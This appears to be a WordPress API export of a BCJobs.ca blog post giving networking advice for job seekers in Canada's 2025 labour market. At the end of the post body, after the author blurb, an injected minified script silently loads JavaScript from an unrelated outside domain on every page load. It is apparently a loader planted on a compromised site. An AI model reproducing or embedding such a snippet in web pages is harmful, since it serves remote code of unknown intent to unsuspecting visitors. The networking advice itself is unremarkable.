{"id":138,"date":"2025-05-15T13:41:00","date_gmt":"2025-05-15T20:41:00","guid":{"rendered":"https:\/\/www.bcjobs.ca\/career-advice\/networking-etiquette-respecting-your-professional-contacts\/"},"modified":"2025-10-21T01:59:25","modified_gmt":"2025-10-21T08:59:25","slug":"networking-canada-job-market-2025","status":"publish","type":"post","link":"https:\/\/www.bcjobs.ca\/blog\/networking-canada-job-market-2025\/","title":{"rendered":"Mastering Networking Etiquette in 2025: Build Lasting Professional Relationships"},"content":{"rendered":"<p><span style=\"font-weight: 400;\">Let\u2019s be honest, <a href=\"https:\/\/www.bcjobs.ca\/\" target=\"_blank\" rel=\"noopener\">job hunting in 2025<\/a> feels like stepping into a whole new world. The landscape is constantly shifting, with industries evolving, work norms changing, and economic headwinds pushing in from every direction. If you\u2019re trying to figure out your next move, you\u2019re not alone. The good news? You don\u2019t have to do it alone either. Your professional network might just be the most valuable asset in your career toolkit right now.<\/span><\/p><div id=\"ez-toc-container\" class=\"ez-toc-v2_0_50 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\">Table of Contents<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"Toggle Table of Content\" role=\"button\"><label for=\"item-6a0b32c9a2475\" aria-hidden=\"true\"><span style=\"display: flex;align-items: center;width: 35px;height: 30px;justify-content: center;direction:ltr;\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/label><input  type=\"checkbox\" id=\"item-6a0b32c9a2475\"><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/www.bcjobs.ca\/blog\/networking-canada-job-market-2025\/#The_Reality_of_the_2025_Canadian_Job_Market\" title=\"The Reality of the 2025 Canadian Job Market\">The Reality of the 2025 Canadian Job Market<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.bcjobs.ca\/blog\/networking-canada-job-market-2025\/#Why_Networking_Still_Reigns_Supreme\" title=\"Why Networking Still Reigns Supreme\">Why Networking Still Reigns Supreme<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/www.bcjobs.ca\/blog\/networking-canada-job-market-2025\/#Start_With_a_Clear_Ask\" title=\"Start With a Clear Ask\">Start With a Clear Ask<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/www.bcjobs.ca\/blog\/networking-canada-job-market-2025\/#Respect_Time_and_Boundaries\" title=\"Respect Time and Boundaries\">Respect Time and Boundaries<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/www.bcjobs.ca\/blog\/networking-canada-job-market-2025\/#Be_Generous_Not_Just_Strategic\" title=\"Be Generous, Not Just Strategic\">Be Generous, Not Just Strategic<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/www.bcjobs.ca\/blog\/networking-canada-job-market-2025\/#Keep_the_Connection_Alive\" title=\"Keep the Connection Alive\">Keep the Connection Alive<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/www.bcjobs.ca\/blog\/networking-canada-job-market-2025\/#The_Power_of_Digital_Networking\" title=\"The Power of Digital Networking\">The Power of Digital Networking<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/www.bcjobs.ca\/blog\/networking-canada-job-market-2025\/#Focus_on_What%E2%80%99s_Working_in_2025\" title=\"Focus on What\u2019s Working in 2025\">Focus on What\u2019s Working in 2025<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/www.bcjobs.ca\/blog\/networking-canada-job-market-2025\/#Flexibility_is_Your_Friend\" title=\"Flexibility is Your Friend\">Flexibility is Your Friend<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/www.bcjobs.ca\/blog\/networking-canada-job-market-2025\/#Upskill_for_an_Edge\" title=\"Upskill for an Edge\">Upskill for an Edge<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/www.bcjobs.ca\/blog\/networking-canada-job-market-2025\/#Helpful_Resources_to_Guide_Your_Journey\" title=\"Helpful Resources to Guide Your Journey\">Helpful Resources to Guide Your Journey<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/www.bcjobs.ca\/blog\/networking-canada-job-market-2025\/#Don%E2%80%99t_Skip_In-Person_Opportunities\" title=\"Don\u2019t Skip In-Person Opportunities\">Don\u2019t Skip In-Person Opportunities<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"https:\/\/www.bcjobs.ca\/blog\/networking-canada-job-market-2025\/#Storytelling_The_Secret_Sauce\" title=\"Storytelling: The Secret Sauce\">Storytelling: The Secret Sauce<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-14\" href=\"https:\/\/www.bcjobs.ca\/blog\/networking-canada-job-market-2025\/#Final_Thoughts_Play_the_Long_Game\" title=\"Final Thoughts: Play the Long Game\">Final Thoughts: Play the Long Game<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-15\" href=\"https:\/\/www.bcjobs.ca\/blog\/networking-canada-job-market-2025\/#About_the_Author\" title=\"About the Author\">About the Author<\/a><\/li><\/ul><\/nav><\/div>\n\n<h3><span class=\"ez-toc-section\" id=\"The_Reality_of_the_2025_Canadian_Job_Market\"><\/span><b>The Reality of the 2025 Canadian Job Market<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Canada\u2019s current job landscape helps paint the picture. As of April 2025, the unemployment rate rose to 6.9%, the highest it\u2019s been since late 2024. A big reason? U.S. tariffs that hit Canadian manufacturing hard resulting in over 31,000 job losses in that sector alone. At the same time, there\u2019s still momentum elsewhere. The finance, insurance, and real estate sectors added 24,000 jobs, and public administration saw a temporary lift thanks to election-related hiring. You can find these updates straight from<\/span><a href=\"https:\/\/www.reuters.com\/sustainability\/sustainable-finance-reporting\/canadas-unemployment-rate-jumps-69-april-employment-little-changed-2025-05-09\/?utm_source=chatgpt.com\"> <span style=\"font-weight: 400;\">Reuters<\/span><\/a><span style=\"font-weight: 400;\">,<\/span><a href=\"https:\/\/realeconomy.rsmus.com\/canada-jobs-report-april-2025\/?utm_source=chatgpt.com\"> <span style=\"font-weight: 400;\">RSM Canada<\/span><\/a><span style=\"font-weight: 400;\">, and Statistics Canada.<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Why_Networking_Still_Reigns_Supreme\"><\/span><b>Why Networking Still Reigns Supreme<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">So what does this mean for you? It means that if you\u2019re looking for work, pivoting careers, or planning your next step, networking isn\u2019t just a \u201cnice to have\u201d it\u2019s essential. It can help you spot opportunities before they hit job boards, offer honest insights into companies you\u2019re curious about, and connect you with decision-makers who can move the needle. Even when you&#8217;re not job hunting, nurturing a strong network keeps you plugged into your industry and ahead of trends.<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Start_With_a_Clear_Ask\"><\/span><b>Start With a Clear Ask<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Start by being clear about what you\u2019re asking for. If you just say \u201cI\u2019m looking for something new,\u201d it\u2019s tough for your contacts to help. Instead, say something like, \u201cI\u2019m hoping to move into a product manager role at a fintech company in Toronto. Do you know anyone in that space?\u201d The more specific you are, the easier it is for your contacts to offer real support.<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Respect_Time_and_Boundaries\"><\/span><b>Respect Time and Boundaries<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Respect is huge here. Everyone\u2019s busy, and while most people genuinely want to help, they\u2019ve got their own full plates. Don\u2019t pressure them with follow-ups every couple of days, and definitely don\u2019t name-drop someone without their permission. A gentle check-in after a week or two is fine, just keep it thoughtful and low-pressure.<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Be_Generous_Not_Just_Strategic\"><\/span><b>Be Generous, Not Just Strategic<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Remember, this is a two-way street. Networking works best when you give just as much as you ask. Maybe you\u2019ve read an article that someone in your network would love send it over with a quick note. Or if you know two people who could benefit from meeting, introduce them. Little gestures like that build real trust and goodwill.<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Keep_the_Connection_Alive\"><\/span><b>Keep the Connection Alive<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">And don\u2019t let those connections go cold. Even a simple \u201cCongrats on your new role!\u201d message or a casual coffee chat now and then goes a long way in keeping relationships warm and meaningful. You\u2019re not just networking for now, you\u2019re building a professional circle that supports you for the long haul.<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"The_Power_of_Digital_Networking\"><\/span><b>The Power of Digital Networking<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">One of the easiest places to start is online. LinkedIn is still king in the digital networking space. Make sure your profile is updated, engage with posts from others in your field, and join discussions in groups that align with your interests. Attending virtual events is another great way to meet professionals in your industry without needing to travel or commit to full-day conferences. And don\u2019t overlook professional associations, they often offer networking events, online forums, and workshops tailored to your sector.<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Focus_on_What%E2%80%99s_Working_in_2025\"><\/span><b>Focus on What\u2019s Working in 2025<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">With Canada\u2019s job market in flux, it helps to tailor your networking efforts to what\u2019s working right now. Manufacturing may be struggling, but other sectors like finance, real estate, healthcare, and public service are still hiring. Pay attention to where growth is happening and consider if your skills are transferable to those areas.<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Flexibility_is_Your_Friend\"><\/span><b>Flexibility is Your Friend<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Flexibility is also a major plus. More employers are offering hybrid or fully remote roles to stay competitive. According to Robert Half\u2019s 2025 market outlook, 37% of companies are offering flexible options to attract top talent. If you\u2019re open to different working arrangements, make that known when networking, it might help you land opportunities you hadn\u2019t considered before.<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Upskill_for_an_Edge\"><\/span><b>Upskill for an Edge<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\"><a href=\"https:\/\/www.bcjobs.ca\/blog\/skills-over-degrees-the-rise-of-skill-based-hiring-in-b-c-job-markets\/\" target=\"_blank\" rel=\"noopener\">And don\u2019t underestimate the power of upskilling<\/a>. With baby boomers retiring and new technologies emerging, many companies are actively looking to fill skill gaps. Whether it\u2019s a quick certification, a part-time course, or even just brushing up on your software skills, ongoing learning keeps you competitive and gives you something fresh to talk about when networking.<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Helpful_Resources_to_Guide_Your_Journey\"><\/span><b>Helpful Resources to Guide Your Journey<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">To make your networking more strategic, it helps to stay informed. Regularly check in with resources like Statistics Canada&#8217;s Labour Force Survey, Job Bank Canada, and Robert Half\u2019s insights. These will give you a clearer sense of where your industry stands and what employers are prioritizing.<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Don%E2%80%99t_Skip_In-Person_Opportunities\"><\/span><b>Don\u2019t Skip In-Person Opportunities<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Now let\u2019s talk about in-person networking. It\u2019s slowly making a comeback, and there&#8217;s still something powerful about real-life interactions. <a href=\"https:\/\/www.bcjobs.ca\/events\" target=\"_blank\" rel=\"noopener\">Attend local events<\/a>, join business associations, or even volunteer at industry meetups. If you&#8217;re new to Canada or entering a new field, these events can be especially helpful for meeting mentors, learning the unspoken norms of your sector, and building trust through face-to-face connections.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">If you&#8217;re unsure where to start, sites like<\/span><a href=\"https:\/\/www.eventbrite.ca\"> <span style=\"font-weight: 400;\">Eventbrite<\/span><\/a><span style=\"font-weight: 400;\"> and<\/span><a href=\"https:\/\/www.meetup.com\/\"> <span style=\"font-weight: 400;\">Meetup<\/span><\/a><span style=\"font-weight: 400;\"> often list free or low-cost networking events in major cities. You could also check out newcomer-focused organizations like<\/span><a href=\"https:\/\/accesemployment.ca\"> <span style=\"font-weight: 400;\">ACCES Employment<\/span><\/a><span style=\"font-weight: 400;\"> or<\/span><a href=\"https:\/\/newcanadians.tv\"> <span style=\"font-weight: 400;\">New Canadians<\/span><\/a><span style=\"font-weight: 400;\">, which host tailored events for immigrants building professional networks in Canada.<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Storytelling_The_Secret_Sauce\"><\/span><b>Storytelling: The Secret Sauce<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">And let\u2019s not forget the power of storytelling in networking. People remember stories more than resumes. Instead of rattling off your job titles, talk about what you\u2019ve built, what you\u2019ve overcome, or what you\u2019re excited about next. Whether you\u2019re sending a message on LinkedIn or chatting over coffee, that human touch makes your message stick.<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Final_Thoughts_Play_the_Long_Game\"><\/span><b>Final Thoughts: Play the Long Game<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">So, to recap: your network isn\u2019t just a backup plan, it\u2019s your launchpad. In a job market that\u2019s unpredictable and competitive, real relationships give you an edge. Focus on being clear, kind, and consistent. Offer help when you can. Stay in touch, even when you don\u2019t need anything. Keep learning. Stay curious. And most importantly, show up as your real, human self.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Whether you\u2019re new to Canada or just navigating a career shift, networking isn\u2019t about selling yourself. It\u2019s about showing up, listening, connecting, and building something that lasts longer than any job posting.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">And if you\u2019re feeling overwhelmed, just start small. Send one message. Schedule one coffee chat. Join one group. The magic of networking is that momentum builds quickly. One introduction leads to another, and before you know it, you\u2019re not just job hunting, you\u2019re career building.<\/span><\/p>\n<p><i><span style=\"font-weight: 400;\">For more tips on navigating the Canadian job market and building authentic connections, check out this<\/span><\/i><a href=\"https:\/\/inspiringcanadians.com\/2022\/07\/17\/networking-in-canada-how-to-network-your-way-to-job-success\/\"> <i><span style=\"font-weight: 400;\">complete guide to networking in Canada<\/span><\/i><\/a><i><span style=\"font-weight: 400;\">.<\/span><\/i><\/p>\n<p>&nbsp;<\/p>\n<hr \/>\n<h3><span class=\"ez-toc-section\" id=\"About_the_Author\"><\/span><b><i>About the Author<\/i><\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><a href=\"http:\/\/www.bcjobs.ca\"><span style=\"font-weight: 400;\">BCJobs.ca<\/span><\/a><span style=\"font-weight: 400;\"> is designed with the future of work in mind. Our platform connects job seekers with opportunities that fit their skills and preferences, whether that be remote work, gig jobs, or positions requiring advanced tech skills. Our goal is to ensure you are equipped to navigate the future of work confidently.<\/span><\/p>\n<p>&nbsp;<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>A professional network is indispensable when you\u0092re looking for a job. Your contacts can suggest promising leads or put you in touch with firms that are hiring. They may provide you with first-hand information about a company or give you the name of a staff member they know.<\/p>\n","protected":false},"author":109,"featured_media":10346,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[16],"tags":[],"class_list":["post-138","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-networking-advice"],"_links":{"self":[{"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/posts\/138","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/users\/109"}],"replies":[{"embeddable":true,"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/comments?post=138"}],"version-history":[{"count":5,"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/posts\/138\/revisions"}],"predecessor-version":[{"id":10813,"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/posts\/138\/revisions\/10813"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/media\/10346"}],"wp:attachment":[{"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/media?parent=138"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/categories?post=138"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/tags?post=138"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}